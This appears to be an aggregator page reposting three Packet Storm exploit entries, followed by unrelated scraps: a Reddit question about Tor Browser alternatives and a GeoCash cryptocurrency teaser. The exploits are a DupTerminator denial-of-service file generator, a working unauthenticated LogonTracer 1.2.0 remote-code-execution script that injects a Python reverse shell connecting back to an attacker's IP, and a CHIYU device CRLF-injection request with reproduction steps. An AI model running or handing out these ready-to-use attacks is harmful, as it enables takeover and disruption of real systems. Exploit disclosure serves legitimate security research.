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DupTerminator 1.4.5639.37199 Denial Of Service

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
DupTerminator version 1.4.5639.37199 denial of service proof of concept exploit.

MD5 | 055b8b8e2d4f5efb50ab336161341836

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# Exploit Title: DupTerminator 1.4.5639.37199 - Denial of Service (PoC)
# Date: 2021-05-28
# Author: Brian Rodríguez
# Software Site: https://sourceforge.net/projects/dupterminator/
# Version: 1.4.5639.37199
# Category: DoS (Windows)

##### Vulnerability #####

DupTerminator is vulnerable to a DoS condition when a long list of characters is being used in field "Excluded" text box.

Successful exploitation will causes application stop working.

I have been able to test this exploit against Windows 10.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 8000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

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LogonTracer 1.2.0 Remote Code Execution

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
LogonTracer version 1.2.0 unauthenticated remote code execution exploit.

MD5 | 08cb3834b77a44167523103fba1974df

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# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)
# Date: 29/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.jpcert.or.jp/
# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0
# Version: 1.2.0 and earlier
# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)
# CVE : CVE-2018-16167

import requests
import argparse

parser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')
parser.add_argument('aip', type=str, help='Attacker ip')
parser.add_argument('aport', type=str, help='Attacker port')
parser.add_argument('victimurl', type=str, help='Victim URL minus the path.')

args = parser.parse_args()

ATTACKER_IP = args.aip
ATTACKER_PORT = args.aport
PAYLOAD = f"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ATTACKER_IP}\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"

VICTIM_URL = args.victimurl
VICTIM_ENDPOINT = "/upload"

DATA = {
"logtype": "XML",
"timezone": f"1;{PAYLOAD};",
}

print("[!] Sending request... If your terminal hangs, you might have a shell!")
requests.post(f"{VICTIM_URL}{VICTIM_ENDPOINT}", data=DATA)
print("[*] Done. Did you get what you wanted?")


Source:packetstormsecurity.com

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CHIYU TCP/IP Converter CRLF Injection

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
CHIYU TCP/IP Converter devices suffers from a crlf injection vulnerability. Versions affected include BF-430, BF-431, and BF-450M.

MD5 | 13a797a4534c55f2a1bacdeee0f9a77e

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# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021
# Tested on: BF-430, BF-431, and BF-450M
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249

Affected parameter: redirect=Component: all the CGI components
Payload: %0d%0a%0d%0a

====HTTP request======
GET
/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

======HTTP response========
HTTP/1.1 302 Found
Location: setting.htm

Content-Length: 0
Content-Type: text/html
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to all CGI components
3. Append the payload at the end of the vulnerable parameter (redirect )
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

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Deep Web
Alternative to Tor Browser

Hello, I'm looking to install a browser/os directly through Linux (Debian/Buster) on a Chromebook. I have Tor and would like to explore other options.

TIA

submitted by /u/MycoMitch
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<GeoCash MainNet transition >

As you know, the process of moving GeoCash on the BSC mainnet has begun. The new version of the GeoCash app is now live on BSC; however…Continue reading on Medium »
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